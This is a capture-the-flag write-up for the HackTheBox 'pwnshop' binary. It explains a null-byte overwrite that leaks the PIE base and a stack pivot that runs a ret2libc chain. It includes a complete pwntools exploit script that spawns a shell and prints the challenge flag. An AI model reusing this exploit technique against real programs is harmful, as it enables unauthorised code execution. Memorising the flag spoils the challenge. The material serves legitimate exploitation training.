HTB Challenge: pwnshop

We just opened a Pwn Shop, time to pwn all the things!

TL;DR

Exploit a null-byte overwrite to leak PIE base, followed by stack pivoting to execute a ret2libc ROP chain under limited buffer size.

Basic File Checks

Pwnshop is a typical menu-style challenge that allows us to buy and sell items.

Inspecting the binary protection shows that Partial RELRO is enabled, meaning GOT overwrite is possible. Another thing to take note is PIE is enabled as well, meaning we would need an info leak to retrieve both LIBC and PIE addresses.

Static Code Analysis

There's an obvious buffer overflow in option 1, but we have a limited space of 8 bytes to fit our payload. This means there's a high chance we may need to perform Stack Pivoting. However, there isn't any other buffer size available to us at the moment, other than the current one we have.

Stack Pivoting

According to ir0nstone, pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret is an ideal gadget for Stack Pivoting due to its ability to manipulate rsp to point to anywhere we have control over. However, recall that a 2nd buffer size that can accommodate our payload isn't present in the binary, so we can't really make use of this gadget.

Despite that, there is another gadget sub rsp, 0x28 that allows us to increase the size of our current buffer. Since the stack grows from High Address to Low Address, an sub rsp, 0x28 instruction means we are expanding/allocating memory on the stack, just like a function prologue.

As shown below, pwntool's find_gadget() function only supports resolving pop-based gadgets dynamically. Hence, we'll need to hardcode the offset of stack pivot gadget 0x1219 relative to the PIE base, in our script later on.

Null-byte Overwrite (Leak PIE)

There isn't any ret2win function embedded in the program, so we'll need to perform an ret2libc attack. Before we leak the LIBC address, it is a prerequisite for us to obtain the PIE base first. There are two reasons why we need it:

  1. PIE base is needed to call elf.plt and elf.got from the binary during a LIBC leak.

  2. The stack pivot gadget is available to us in the form of an offset. A PIE base is required to calculate its actual address.

Since strings are null-terminated in C, reading exactly 8 bytes into local_28 is going to overwrite the null byte sitting in between variables local_28 and *local_20. As a result of that, when printf() is executed, it's going to read past the boundary of local_28 until a null byte is found, then output the whole data as a string. This is the 1st info leak we have control over.

Using 8 A's as our user input successfully produced an info leak.

There are many theories to explain what this secret value may be:

  • Could it be a canary value that was not detected by checksec? Perhaps a custom canary implementation similar to NahamCON CTF 2023: Weird Cookie challenge?

    • The answer is: No. There are no signs of canary validation like __stack_chk_fail() or secret == canary checks.

  • Could it be the LIBC leak that we were looking for?

    • The answer is: No. We can easily decode this value to its hex representation. If it were to be a LIBC leak, the prefix would start with 0x7f.

  • Could it be the PIE leak that we were looking for?

    • The answer is: Yes, since PIE base generally starts with the prefix 0x5 as a general rule of thumb.

ret2libc

Putting everything together, we have a 3 stage payload:

  1. Stage 1: Using Option 2 - Null byte leak to obtain PIE base.

  2. Stage 2: Using Option 1 - BOF + Stack Pivoting to leak LIBC then ROP back to main().

  3. Stage 3: Using Option 1 - BOF + Stack Pivoting to ret2libc.

solve.py
#!/usr/bin/env python3

from pwn import *

exe = ELF("./pwnshop")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

context.binary = exe

def conn():
    if args.REMOTE:
        r = remote("addr", 1337)
    else:
        r = process([exe.path])
        if args.DEBUG:
            gdb.attach(r)

    return r

def main():
    r = conn()

    r.sendlineafter(b">", b"2")
    r.sendlineafter(b"sell?", b"")
    r.sendafter(b"it?", b"aaaaaaaa")
    r.recvuntil(b"aaaaaaaa")

    leak = u64(r.recvuntil(b"? The")[0:-5].ljust(8, b'\x00'))
    exe.address = leak - 0x40c0
    log.info(hex(leak))
    
    rop = ROP(exe)

    pop_rdi = (rop.find_gadget(['pop rdi', 'ret']))[0]
    stack_pivot = exe.address + 0x0000000000001219  # sub rsp, 0x28; ret; (unable to resolve dynamically with find_gadget() function)
    main = exe.address + 0x00000000000010a0         # main function (unable to resolve dynamically due to stripped)

    payload = flat(
        pop_rdi,
        exe.got.puts,
        exe.plt.puts,
        main,
        stack_pivot
    )
    payload = payload.rjust(80, b'A')
    # read() only takes in 80 bytes, so we have to fit everything in it

    r.sendlineafter(b">", b"1")
    r.sendafter(b"details: ", payload)

    leak = u64(r.recv(6).ljust(8, b'\x00'))
    libc.address = leak - libc.symbols['puts']
    log.info(hex(leak))

    rop = ROP(libc)

    system = libc.symbols['system']
    bin_sh = next(libc.search(b"/bin/sh"))
    pop_rdi = (rop.find_gadget(['pop rdi', 'ret']))[0]
    ret = (rop.find_gadget(['ret']))[0]

    payload = flat(
        pop_rdi,
        bin_sh,
        ret,
        system,
        stack_pivot
    )
    payload = payload.rjust(80, b'A')
    # read() only takes in 80 bytes, so we have to fit everything in it

    r.sendlineafter(b">", b"1")
    r.sendafter(b"details: ", payload)
    
    r.interactive()

if __name__ == "__main__":
    main()

Flag: HTB{th1s_is_wh@t_I_c@ll_a_g00d_d3a1!}

Last updated